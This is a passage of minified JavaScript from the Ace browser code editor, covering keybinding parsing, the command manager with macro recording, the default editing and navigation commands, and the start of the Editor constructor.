r!=\"number\"&&(r||n.isDefault?r=-100:r=e(n));var o=i[t];for(s=0;s<o.length;s++){var u=o[s],a=e(u);if(a>r)break}o.splice(s,0,n)}},this.addCommands=function(e){e&&Object.keys(e).forEach(function(t){var n=e[t];if(!n)return;if(typeof n==\"string\")return this.bindKey(n,t);typeof n==\"function\"&&(n={exec:n});if(typeof n!=\"object\")return;n.name||(n.name=t),this.addCommand(n)},this)},this.removeCommands=function(e){Object.keys(e).forEach(function(t){this.removeCommand(e[t])},this)},this.bindKeys=function(e){Object.keys(e).forEach(function(t){this.bindKey(t,e[t])},this)},this._buildKeyHash=function(e){this.bindKey(e.bindKey,e)},this.parseKeys=function(e){var t=e.toLowerCase().split(/[\\-\\+]([\\-\\+])?/).filter(function(e){return e}),n=t.pop(),i=r[n];if(r.FUNCTION_KEYS[i])n=r.FUNCTION_KEYS[i].toLowerCase();else{if(!t.length)return{key:n,hashId:-1};if(t.length==1&&t[0]==\"shift\")return{key:n.toUpperCase(),hashId:-1}}var s=0;for(var o=t.length;o--;){var u=r.KEY_MODS[t[o]];if(u==null)return typeof console!=\"undefined\"&&console.error(\"invalid modifier \"+t[o]+\" in \"+e),!1;s|=u}return{key:n,hashId:s}},this.findKeyCommand=function(t,n){var r=s[t]+n;return this.commandKeyBinding[r]},this.handleKeyboard=function(e,t,n,r){var i=s[t]+n,o=this.commandKeyBinding[i];e.$keyChain&&(e.$keyChain+=\" \"+i,o=this.commandKeyBinding[e.$keyChain]||o);if(o)if(o==\"chainKeys\"||o[o.length-1]==\"chainKeys\")return e.$keyChain=e.$keyChain||i,{command:\"null\"};if(e.$keyChain)if(!!t&&t!=4||n.length!=1){if(t==-1||r>0)e.$keyChain=\"\"}else e.$keyChain=e.$keyChain.slice(0,-i.length-1);return{command:o}},this.getStatusText=function(e,t){return t.$keyChain||\"\"}}.call(o.prototype),t.HashHandler=o,t.MultiHashHandler=u}),ace.define(\"ace/commands/command_manager\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/keyboard/hash_handler\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../keyboard/hash_handler\").MultiHashHandler,s=e(\"../lib/event_emitter\").EventEmitter,o=function(e,t){i.call(this,t,e),this.byName=this.commands,this.setDefaultHandler(\"exec\",function(e){return e.command.exec(e.editor,e.args||{})})};r.inherits(o,i),function(){r.implement(this,s),this.exec=function(e,t,n){if(Array.isArray(e)){for(var r=e.length;r--;)if(this.exec(e[r],t,n))return!0;return!1}typeof e==\"string\"&&(e=this.commands[e]);if(!e)return!1;if(t&&t.$readOnly&&!e.readOnly)return!1;var i={editor:t,command:e,args:n};return i.returnValue=this._emit(\"exec\",i),this._signal(\"afterExec\",i),i.returnValue===!1?!1:!0},this.toggleRecording=function(e){if(this.$inReplay)return;return e&&e._emit(\"changeStatus\"),this.recording?(this.macro.pop(),this.removeEventListener(\"exec\",this.$addCommandToMacro),this.macro.length||(this.macro=this.oldMacro),this.recording=!1):(this.$addCommandToMacro||(this.$addCommandToMacro=function(e){this.macro.push([e.command,e.args])}.bind(this)),this.oldMacro=this.macro,this.macro=[],this.on(\"exec\",this.$addCommandToMacro),this.recording=!0)},this.replay=function(e){if(this.$inReplay||!this.macro)return;if(this.recording)return this.toggleRecording(e);try{this.$inReplay=!0,this.macro.forEach(function(t){typeof t==\"string\"?this.exec(t,e):this.exec(t[0],e,t[1])},this)}finally{this.$inReplay=!1}},this.trimMacro=function(e){return e.map(function(e){return typeof e[0]!=\"string\"&&(e[0]=e[0].name),e[1]||(e=e[0]),e})}}.call(o.prototype),t.CommandManager=o}),ace.define(\"ace/commands/default_commands\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\",\"ace/config\",\"ace/range\"],function(e,t,n){\"use strict\";function o(e,t){return{win:e,mac:t}}var r=e(\"../lib/lang\"),i=e(\"../config\"),s=e(\"../range\").Range;t.commands=[{name:\"showSettingsMenu\",bindKey:o(\"Ctrl-,\",\"Command-,\"),exec:function(e){i.loadModule(\"ace/ext/settings_menu\",function(t){t.init(e),e.showSettingsMenu()})},readOnly:!0},{name:\"goToNextError\",bindKey:o(\"Alt-E\",\"Ctrl-E\"),exec:function(e){i.loadModule(\"ace/ext/error_marker\",function(t){t.showErrorMarker(e,1)})},scrollIntoView:\"animate\",readOnly:!0},{name:\"goToPreviousError\",bindKey:o(\"Alt-Shift-E\",\"Ctrl-Shift-E\"),exec:function(e){i.loadModule(\"ace/ext/error_marker\",function(t){t.showErrorMarker(e,-1)})},scrollIntoView:\"animate\",readOnly:!0},{name:\"selectall\",bindKey:o(\"Ctrl-A\",\"Command-A\"),exec:function(e){e.selectAll()},readOnly:!0},{name:\"centerselection\",bindKey:o(null,\"Ctrl-L\"),exec:function(e){e.centerSelection()},readOnly:!0},{name:\"gotoline\",bindKey:o(\"Ctrl-L\",\"Command-L\"),exec:function(e){var t=parseInt(prompt(\"Enter line number:\"),10);isNaN(t)||e.gotoLine(t)},readOnly:!0},{name:\"fold\",bindKey:o(\"Alt-L|Ctrl-F1\",\"Command-Alt-L|Command-F1\"),exec:function(e){e.session.toggleFold(!1)},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"unfold\",bindKey:o(\"Alt-Shift-L|Ctrl-Shift-F1\",\"Command-Alt-Shift-L|Command-Shift-F1\"),exec:function(e){e.session.toggleFold(!0)},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"toggleFoldWidget\",bindKey:o(\"F2\",\"F2\"),exec:function(e){e.session.toggleFoldWidget()},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"toggleParentFoldWidget\",bindKey:o(\"Alt-F2\",\"Alt-F2\"),exec:function(e){e.session.toggleFoldWidget(!0)},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"foldall\",bindKey:o(null,\"Ctrl-Command-Option-0\"),exec:function(e){e.session.foldAll()},scrollIntoView:\"center\",readOnly:!0},{name:\"foldOther\",bindKey:o(\"Alt-0\",\"Command-Option-0\"),exec:function(e){e.session.foldAll(),e.session.unfold(e.selection.getAllRanges())},scrollIntoView:\"center\",readOnly:!0},{name:\"unfoldall\",bindKey:o(\"Alt-Shift-0\",\"Command-Option-Shift-0\"),exec:function(e){e.session.unfold()},scrollIntoView:\"center\",readOnly:!0},{name:\"findnext\",bindKey:o(\"Ctrl-K\",\"Command-G\"),exec:function(e){e.findNext()},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"findprevious\",bindKey:o(\"Ctrl-Shift-K\",\"Command-Shift-G\"),exec:function(e){e.findPrevious()},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"selectOrFindNext\",bindKey:o(\"Alt-K\",\"Ctrl-G\"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findNext()},readOnly:!0},{name:\"selectOrFindPrevious\",bindKey:o(\"Alt-Shift-K\",\"Ctrl-Shift-G\"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findPrevious()},readOnly:!0},{name:\"find\",bindKey:o(\"Ctrl-F\",\"Command-F\"),exec:function(e){i.loadModule(\"ace/ext/searchbox\",function(t){t.Search(e)})},readOnly:!0},{name:\"overwrite\",bindKey:\"Insert\",exec:function(e){e.toggleOverwrite()},readOnly:!0},{name:\"selecttostart\",bindKey:o(\"Ctrl-Shift-Home\",\"Command-Shift-Up\"),exec:function(e){e.getSelection().selectFileStart()},multiSelectAction:\"forEach\",readOnly:!0,scrollIntoView:\"animate\",aceCommandGroup:\"fileJump\"},{name:\"gotostart\",bindKey:o(\"Ctrl-Home\",\"Command-Home|Command-Up\"),exec:function(e){e.navigateFileStart()},multiSelectAction:\"forEach\",readOnly:!0,scrollIntoView:\"animate\",aceCommandGroup:\"fileJump\"},{name:\"selectup\",bindKey:o(\"Shift-Up\",\"Shift-Up\"),exec:function(e){e.getSelection().selectUp()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"golineup\",bindKey:o(\"Up\",\"Up|Ctrl-P\"),exec:function(e,t){e.navigateUp(t.times)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selecttoend\",bindKey:o(\"Ctrl-Shift-End\",\"Command-Shift-Down\"),exec:function(e){e.getSelection().selectFileEnd()},multiSelectAction:\"forEach\",readOnly:!0,scrollIntoView:\"animate\",aceCommandGroup:\"fileJump\"},{name:\"gotoend\",bindKey:o(\"Ctrl-End\",\"Command-End|Command-Down\"),exec:function(e){e.navigateFileEnd()},multiSelectAction:\"forEach\",readOnly:!0,scrollIntoView:\"animate\",aceCommandGroup:\"fileJump\"},{name:\"selectdown\",bindKey:o(\"Shift-Down\",\"Shift-Down\"),exec:function(e){e.getSelection().selectDown()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"golinedown\",bindKey:o(\"Down\",\"Down|Ctrl-N\"),exec:function(e,t){e.navigateDown(t.times)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectwordleft\",bindKey:o(\"Ctrl-Shift-Left\",\"Option-Shift-Left\"),exec:function(e){e.getSelection().selectWordLeft()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotowordleft\",bindKey:o(\"Ctrl-Left\",\"Option-Left\"),exec:function(e){e.navigateWordLeft()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selecttolinestart\",bindKey:o(\"Alt-Shift-Left\",\"Command-Shift-Left\"),exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotolinestart\",bindKey:o(\"Alt-Left|Home\",\"Command-Left|Home|Ctrl-A\"),exec:function(e){e.navigateLineStart()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectleft\",bindKey:o(\"Shift-Left\",\"Shift-Left\"),exec:function(e){e.getSelection().selectLeft()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotoleft\",bindKey:o(\"Left\",\"Left|Ctrl-B\"),exec:function(e,t){e.navigateLeft(t.times)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectwordright\",bindKey:o(\"Ctrl-Shift-Right\",\"Option-Shift-Right\"),exec:function(e){e.getSelection().selectWordRight()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotowordright\",bindKey:o(\"Ctrl-Right\",\"Option-Right\"),exec:function(e){e.navigateWordRight()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selecttolineend\",bindKey:o(\"Alt-Shift-Right\",\"Command-Shift-Right\"),exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotolineend\",bindKey:o(\"Alt-Right|End\",\"Command-Right|End|Ctrl-E\"),exec:function(e){e.navigateLineEnd()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectright\",bindKey:o(\"Shift-Right\",\"Shift-Right\"),exec:function(e){e.getSelection().selectRight()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotoright\",bindKey:o(\"Right\",\"Right|Ctrl-F\"),exec:function(e,t){e.navigateRight(t.times)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectpagedown\",bindKey:\"Shift-PageDown\",exec:function(e){e.selectPageDown()},readOnly:!0},{name:\"pagedown\",bindKey:o(null,\"Option-PageDown\"),exec:function(e){e.scrollPageDown()},readOnly:!0},{name:\"gotopagedown\",bindKey:o(\"PageDown\",\"PageDown|Ctrl-V\"),exec:function(e){e.gotoPageDown()},readOnly:!0},{name:\"selectpageup\",bindKey:\"Shift-PageUp\",exec:function(e){e.selectPageUp()},readOnly:!0},{name:\"pageup\",bindKey:o(null,\"Option-PageUp\"),exec:function(e){e.scrollPageUp()},readOnly:!0},{name:\"gotopageup\",bindKey:\"PageUp\",exec:function(e){e.gotoPageUp()},readOnly:!0},{name:\"scrollup\",bindKey:o(\"Ctrl-Up\",null),exec:function(e){e.renderer.scrollBy(0,-2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:\"scrolldown\",bindKey:o(\"Ctrl-Down\",null),exec:function(e){e.renderer.scrollBy(0,2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:\"selectlinestart\",bindKey:\"Shift-Home\",exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectlineend\",bindKey:\"Shift-End\",exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"togglerecording\",bindKey:o(\"Ctrl-Alt-E\",\"Command-Option-E\"),exec:function(e){e.commands.toggleRecording(e)},readOnly:!0},{name:\"replaymacro\",bindKey:o(\"Ctrl-Shift-E\",\"Command-Shift-E\"),exec:function(e){e.commands.replay(e)},readOnly:!0},{name:\"jumptomatching\",bindKey:o(\"Ctrl-P\",\"Ctrl-P\"),exec:function(e){e.jumpToMatching()},multiSelectAction:\"forEach\",scrollIntoView:\"animate\",readOnly:!0},{name:\"selecttomatching\",bindKey:o(\"Ctrl-Shift-P\",\"Ctrl-Shift-P\"),exec:function(e){e.jumpToMatching(!0)},multiSelectAction:\"forEach\",scrollIntoView:\"animate\",readOnly:!0},{name:\"expandToMatching\",bindKey:o(\"Ctrl-Shift-M\",\"Ctrl-Shift-M\"),exec:function(e){e.jumpToMatching(!0,!0)},multiSelectAction:\"forEach\",scrollIntoView:\"animate\",readOnly:!0},{name:\"passKeysToBrowser\",bindKey:o(null,null),exec:function(){},passEvent:!0,readOnly:!0},{name:\"copy\",exec:function(e){},readOnly:!0},{name:\"cut\",exec:function(e){var t=e.getSelectionRange();e._emit(\"cut\",t),e.selection.isEmpty()||(e.session.remove(t),e.clearSelection())},scrollIntoView:\"cursor\",multiSelectAction:\"forEach\"},{name:\"paste\",exec:function(e,t){e.$handlePaste(t)},scrollIntoView:\"cursor\"},{name:\"removeline\",bindKey:o(\"Ctrl-D\",\"Command-D\"),exec:function(e){e.removeLines()},scrollIntoView:\"cursor\",multiSelectAction:\"forEachLine\"},{name:\"duplicateSelection\",bindKey:o(\"Ctrl-Shift-D\",\"Command-Shift-D\"),exec:function(e){e.duplicateSelection()},scrollIntoView:\"cursor\",multiSelectAction:\"forEach\"},{name:\"sortlines\",bindKey:o(\"Ctrl-Alt-S\",\"Command-Alt-S\"),exec:function(e){e.sortLines()},scrollIntoView:\"selection\",multiSelectAction:\"forEachLine\"},{name:\"togglecomment\",bindKey:o(\"Ctrl-/\",\"Command-/\"),exec:function(e){e.toggleCommentLines()},multiSelectAction:\"forEachLine\",scrollIntoView:\"selectionPart\"},{name:\"toggleBlockComment\",bindKey:o(\"Ctrl-Shift-/\",\"Command-Shift-/\"),exec:function(e){e.toggleBlockComment()},multiSelectAction:\"forEach\",scrollIntoView:\"selectionPart\"},{name:\"modifyNumberUp\",bindKey:o(\"Ctrl-Shift-Up\",\"Alt-Shift-Up\"),exec:function(e){e.modifyNumber(1)},scrollIntoView:\"cursor\",multiSelectAction:\"forEach\"},{name:\"modifyNumberDown\",bindKey:o(\"Ctrl-Shift-Down\",\"Alt-Shift-Down\"),exec:function(e){e.modifyNumber(-1)},scrollIntoView:\"cursor\",multiSelectAction:\"forEach\"},{name:\"replace\",bindKey:o(\"Ctrl-H\",\"Command-Option-F\"),exec:function(e){i.loadModule(\"ace/ext/searchbox\",function(t){t.Search(e,!0)})}},{name:\"undo\",bindKey:o(\"Ctrl-Z\",\"Command-Z\"),exec:function(e){e.undo()}},{name:\"redo\",bindKey:o(\"Ctrl-Shift-Z|Ctrl-Y\",\"Command-Shift-Z|Command-Y\"),exec:function(e){e.redo()}},{name:\"copylinesup\",bindKey:o(\"Alt-Shift-Up\",\"Command-Option-Up\"),exec:function(e){e.copyLinesUp()},scrollIntoView:\"cursor\"},{name:\"movelinesup\",bindKey:o(\"Alt-Up\",\"Option-Up\"),exec:function(e){e.moveLinesUp()},scrollIntoView:\"cursor\"},{name:\"copylinesdown\",bindKey:o(\"Alt-Shift-Down\",\"Command-Option-Down\"),exec:function(e){e.copyLinesDown()},scrollIntoView:\"cursor\"},{name:\"movelinesdown\",bindKey:o(\"Alt-Down\",\"Option-Down\"),exec:function(e){e.moveLinesDown()},scrollIntoView:\"cursor\"},{name:\"del\",bindKey:o(\"Delete\",\"Delete|Ctrl-D|Shift-Delete\"),exec:function(e){e.remove(\"right\")},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"backspace\",bindKey:o(\"Shift-Backspace|Backspace\",\"Ctrl-Backspace|Shift-Backspace|Backspace|Ctrl-H\"),exec:function(e){e.remove(\"left\")},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"cut_or_delete\",bindKey:o(\"Shift-Delete\",null),exec:function(e){if(!e.selection.isEmpty())return!1;e.remove(\"left\")},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"removetolinestart\",bindKey:o(\"Alt-Backspace\",\"Command-Backspace\"),exec:function(e){e.removeToLineStart()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"removetolineend\",bindKey:o(\"Alt-Delete\",\"Ctrl-K\"),exec:function(e){e.removeToLineEnd()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"removewordleft\",bindKey:o(\"Ctrl-Backspace\",\"Alt-Backspace|Ctrl-Alt-Backspace\"),exec:function(e){e.removeWordLeft()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"removewordright\",bindKey:o(\"Ctrl-Delete\",\"Alt-Delete\"),exec:function(e){e.removeWordRight()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"outdent\",bindKey:o(\"Shift-Tab\",\"Shift-Tab\"),exec:function(e){e.blockOutdent()},multiSelectAction:\"forEach\",scrollIntoView:\"selectionPart\"},{name:\"indent\",bindKey:o(\"Tab\",\"Tab\"),exec:function(e){e.indent()},multiSelectAction:\"forEach\",scrollIntoView:\"selectionPart\"},{name:\"blockoutdent\",bindKey:o(\"Ctrl-[\",\"Ctrl-[\"),exec:function(e){e.blockOutdent()},multiSelectAction:\"forEachLine\",scrollIntoView:\"selectionPart\"},{name:\"blockindent\",bindKey:o(\"Ctrl-]\",\"Ctrl-]\"),exec:function(e){e.blockIndent()},multiSelectAction:\"forEachLine\",scrollIntoView:\"selectionPart\"},{name:\"insertstring\",exec:function(e,t){e.insert(t)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"inserttext\",exec:function(e,t){e.insert(r.stringRepeat(t.text||\"\",t.times||1))},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"splitline\",bindKey:o(null,\"Ctrl-O\"),exec:function(e){e.splitLine()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"transposeletters\",bindKey:o(\"Ctrl-T\",\"Ctrl-T\"),exec:function(e){e.transposeLetters()},multiSelectAction:function(e){e.transposeSelections(1)},scrollIntoView:\"cursor\"},{name:\"touppercase\",bindKey:o(\"Ctrl-U\",\"Ctrl-U\"),exec:function(e){e.toUpperCase()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"tolowercase\",bindKey:o(\"Ctrl-Shift-U\",\"Ctrl-Shift-U\"),exec:function(e){e.toLowerCase()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"expandtoline\",bindKey:o(\"Ctrl-Shift-L\",\"Command-Shift-L\"),exec:function(e){var t=e.selection.getRange();t.start.column=t.end.column=0,t.end.row++,e.selection.setRange(t,!1)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"joinlines\",bindKey:o(null,null),exec:function(e){var t=e.selection.isBackwards(),n=t?e.selection.getSelectionLead():e.selection.getSelectionAnchor(),i=t?e.selection.getSelectionAnchor():e.selection.getSelectionLead(),o=e.session.doc.getLine(n.row).length,u=e.session.doc.getTextRange(e.selection.getRange()),a=u.replace(/\\n\\s*/,\" \").length,f=e.session.doc.getLine(n.row);for(var l=n.row+1;l<=i.row+1;l++){var c=r.stringTrimLeft(r.stringTrimRight(e.session.doc.getLine(l)));c.length!==0&&(c=\" \"+c),f+=c}i.row+1<e.session.doc.getLength()-1&&(f+=e.session.doc.getNewLineCharacter()),e.clearSelection(),e.session.doc.replace(new s(n.row,0,i.row+2,0),f),a>0?(e.selection.moveCursorTo(n.row,n.column),e.selection.selectTo(n.row,n.column+a)):(o=e.session.doc.getLine(n.row).length>o?o+1:o,e.selection.moveCursorTo(n.row,o))},multiSelectAction:\"forEach\",readOnly:!0},{name:\"invertSelection\",bindKey:o(null,null),exec:function(e){var t=e.session.doc.getLength()-1,n=e.session.doc.getLine(t).length,r=e.selection.rangeList.ranges,i=[];r.length<1&&(r=[e.selection.getRange()]);for(var o=0;o<r.length;o++)o==r.length-1&&(r[o].end.row!==t||r[o].end.column!==n)&&i.push(new s(r[o].end.row,r[o].end.column,t,n)),o===0?(r[o].start.row!==0||r[o].start.column!==0)&&i.push(new s(0,0,r[o].start.row,r[o].start.column)):i.push(new s(r[o-1].end.row,r[o-1].end.column,r[o].start.row,r[o].start.column));e.exitMultiSelectMode(),e.clearSelection();for(var o=0;o<i.length;o++)e.selection.addRange(i[o],!1)},readOnly:!0,scrollIntoView:\"none\"}]}),ace.define(\"ace/editor\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/useragent\",\"ace/keyboard/textinput\",\"ace/mouse/mouse_handler\",\"ace/mouse/fold_handler\",\"ace/keyboard/keybinding\",\"ace/edit_session\",\"ace/search\",\"ace/range\",\"ace/lib/event_emitter\",\"ace/commands/command_manager\",\"ace/commands/default_commands\",\"ace/config\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";e(\"./lib/fixoldbrowsers\");var r=e(\"./lib/oop\"),i=e(\"./lib/dom\"),s=e(\"./lib/lang\"),o=e(\"./lib/useragent\"),u=e(\"./keyboard/textinput\").TextInput,a=e(\"./mouse/mouse_handler\").MouseHandler,f=e(\"./mouse/fold_handler\").FoldHandler,l=e(\"./keyboard/keybinding\").KeyBinding,c=e(\"./edit_session\").EditSession,h=e(\"./search\").Search,p=e(\"./range\").Range,d=e(\"./lib/event_emitter\").EventEmitter,v=e(\"./commands/command_manager\").CommandManager,m=e(\"./commands/default_commands\").commands,g=e(\"./config\"),y=e(\"./token_iterator\").TokenIterator,b=function(e,t){var n=e.getContainerElement();this.container=n,this.renderer=e,this.commands=new v(o.isMac?\"mac\":\"win\",m),this.textInput=new u(e.getTextAreaContainer(),this),this.renderer.textarea=this.textInput.getElement(),this.keyBinding=new l(this),this.$mouseHandler=new a(this),new f(this),this.$blockScrolling=0,this.$search=(new h).set({wrap:!0}),this.$historyTracker=this.$historyTracker.bind(this),this.commands.on(\"exec\",this.$historyTracker),this.$initOperationListeners(),this._$emitInputEvent=s.delayedCall(function(){this._signal(\"input\",{}),this.session&&this.session.bgTokenizer&&this.session.bgTokenizer.scheduleStart()}.bind(this)),this.on(\"change\",function(e,t){t._$emitInputEvent.schedule(31)}),this.setSession(t||new c(\"\")),g.resetOptions(this),g._signal(\"editor\",this)};(function(){r.implement(this,d),this.$initOperationListeners=function(){function e(e){return e[e.length-1]}this.selections=[],this.commands.on(\"exec\",this.startOperation.bind(this),!0),this.commands.on(\"afterExec\",this.endOperation.bind(this),!0),this.$opResetTimer=s.delayedCall(this.endOperation.bind(this)),this.on(\"change\",function(){this.curOp||this.startOperation(),this.curOp.docChanged=!0}.bind(this),!0),this.on(\"changeSelection\",function(){this.curOp||this.startOperation(),this.curOp.selectionChanged=!0}.bind(this),!0)},this.curOp=null,this.prevOp={},this.startOperation=function(e){if(this.curOp){if(!e||this.curOp.command)return;this.prevOp=this.curOp}e||(this.previousCommand=null,e={}),this.$opResetTimer.schedule(),this.curOp={command:e.command||{},args:e.args,scrollTop:this.renderer.scrollTop},this.curOp.command.name&&this.curOp.command.scrollIntoView!==undefined&&this.$blockScrolling++},this.endOperation=function(e){if(this.curOp){if(e&&e.returnValue===!1)return this.curOp=null;this._signal(\"beforeEndOperation\");var t=this.curOp.command;t.name&&this.$blockScrolling>0&&this.$blockScrolling--;var n=t&&t.scrollIntoView;if(n){switch(n){case\"center-animate\":n=\"animate\";case\"center\":this.renderer.scrollCursorIntoView(null,.5);break;case\"animate\":case\"cursor\":this.renderer.scrollCursorIntoView();break;case\"selectionPart\":var r=this.selection.getRange(),i=this.renderer.layerConfig;(r.start.row>=i.lastRow||r.end.row<=i.firstRow)&&this.renderer.scrollSelectionIntoView(this.selection.anchor,this.selection.lead);break;default:}n==\"animate\"&&this.renderer.animateScrolling(this.curOp.scrollTop)}this.prevOp=this.curOp,this.curOp=null}},this.$mergeableCommands=[\"backspace\",\"del\",\"insertstring\"],this.$historyTracker=function(e){if(!this.$mergeUndoDeltas)return;var t=this.prevOp,n=this.$mergeableCommands,r=t.command&&e.command.name==t.command.name;if(e.command.name==\"insertstring\"){var i=e.args;this.mergeNextCommand===undefined&&(this.mergeNextCommand=!0),r=r&&this.mergeNextCommand&&(!/\\s/.test(i)||/\\s/.test(t.args)),this.mergeNextCommand=!0}else r=r&&n.indexOf(e.command.name)!==-1;this.$mergeUndoDeltas!=\"always\"&&Date.now()-this.sequenceStartTime>2e3&&(r=!1),r?this.session.mergeUndoDeltas=!0:n.indexOf(e.command.name)!==-1&&(this.sequenceStartTime=Date.now())},this.setKeyboardHandler=function(e,t){if(e&&typeof e==\"string\"){this.$keybindingId=e;var n=this;g.loadModule([\"keybinding\",e],function(r){n.$keybindingId==e&&n.keyBinding.setKeyboardHandler(r&&r.handler),t&&t()})}else this.$keybindingId=null,this.keyBinding.setKeyboardHandler(e),t&&t()},this.getKeyboardHandler=function(){return this.keyBinding.getKeyboardHandler()},this.setSession=function(e){if(this.session==e)return;this.curOp&&this.endOperation(),this.curOp={};var t=this.session;if(t){this.session.removeEventListener(\"change\",this.$onDocumentChange),this.session.removeEventListener(\"changeMode\",this.$onChangeMode),this.session.removeEventListener(\"tokenizerUpdate\",this.$onTokenizerUpdate),this.session.removeEventListener(\"changeTabSize\",this.$onChangeTabSize),this.session.removeEventListener(\"changeWrapLimit\",this.$onChangeWrapLimit),this.session.removeEventListener(\"changeWrapMode\",this.$onChangeWrapMode),this.session.removeEventListener(\"onChangeFold\",this.$onChangeFold),this.session.removeEventListener(\"changeFrontMarker\",this.$onChangeFrontMarker),this.session.removeEventListener(\"changeBackMarker\",this.$onChangeBackMarker),this.session.removeEventListener(\"changeBreakpoint\",this.$onChangeBreakpoint),this.session.removeEventListener(\"changeAnnotation\",this.$onChangeAnnotation),this.session.removeEventListener(\"changeOverwrite\",this.$onCursorChange),this.session.removeEventListener(\"changeScrollTop\",this.$onScrollTopChange),this.session.removeEventListener(\"changeScrollLeft\",this.$onScrollLeftChange);var n=this.session.getSelection();n.removeEventListener(\"changeCursor\",this.$onCursorChange),n.removeEventListener(\"changeSelection\",this.$onSelectionChange)}this.session=e,e?(this.$onDocumentChange=this.onDocumentChange.bind(this),e.addEventListener(\"change\",this.$onDocumentChange),this.renderer.setSession(e),this.$onChangeMode=this.onChangeMode.bind(this),e.addEventListener(\"changeMode\",this.$onChangeMode),this.$onTokenizerUpdate=this.onTokenizerUpdate.bind(this),e.addEventListener(\"tokenizerUpdate\",this.$onTokenizerUpdate),this.$onChangeTabSize=this.renderer.onChangeTabSize.bind(this.renderer),e.addEventListener(\"changeTabSize\",this.$onChangeTabSize),this.$onChangeWrapLimit=this.onChangeWrapLimit.bind(this),e.addEventListener(\"changeWrapLimit\",this.$onChangeWrapLimit),this.$onChangeWrapMode=this.onChangeWrapMode.bind(this),e.addEventListener(\"changeWrapMode\",this.$onChangeWrapMode),this.$onChangeFold=this.onChangeFold.bind(this),e.addEventListener(\"changeFold\",this.$onChangeFold),this.$onChangeFrontMarker=this.onChangeFrontMarker.bind(this),this.session.addEventListener(\"changeFrontMarker\",this.$onChangeFrontMarker),this.$onChangeBackMarker=this.onChangeBackMarker.bind(this),this.session.addEventListener(\"changeBackMarker\",this.$onChangeBackMarker),this.$onChangeBreakpoint=this.onChangeBreakpoint.bind(this),this.session.addEventListener(\"changeBreakpoint\",this.$onChangeBreakpoint),this.$onChangeAnnotation=this.onChangeAnnotation.bind(this),this.session.addEventListener(\"changeAnnotation\",this.$onChangeAnnotation),this.$onCursorChange=this.onCursorChange.bind(this),this.session.addEventListener(\"changeOverwrite\",this.$onCursorChange),this.$onScrollTopChange=this.onScrollTopChange.bind(this),this.session.addEventListener(\"changeScrollTop\",this.$onScrollTopChange),this.$onScrollLeftChange=this.onScrollLeftChange.bind(this),this.session.addEventListener(\"changeScrollLeft\",this.$onScrollLeftChange),this.selection=e.getSelection(),this.selection.addEventListener(\"changeCursor\",this.$onCursorChange),this.$onSelectionChange=this.onSelectionChange.bind(this),this.selection.addEventListener(\"changeSelection\",this.$onSelectionChange),this.onChangeMode(),this.$blockScrolling+=1,this.onCursorChange(),this.$blockScrolling-=1,this.onScrollTopChange(),this.onScrollLeftChange(),this.onSelectionChange(),this.onChangeFrontMarker(),this.onChangeBackMarker(),this.onChangeBreakpoint(),this.onChangeAnnotation(),this.session.getUseWra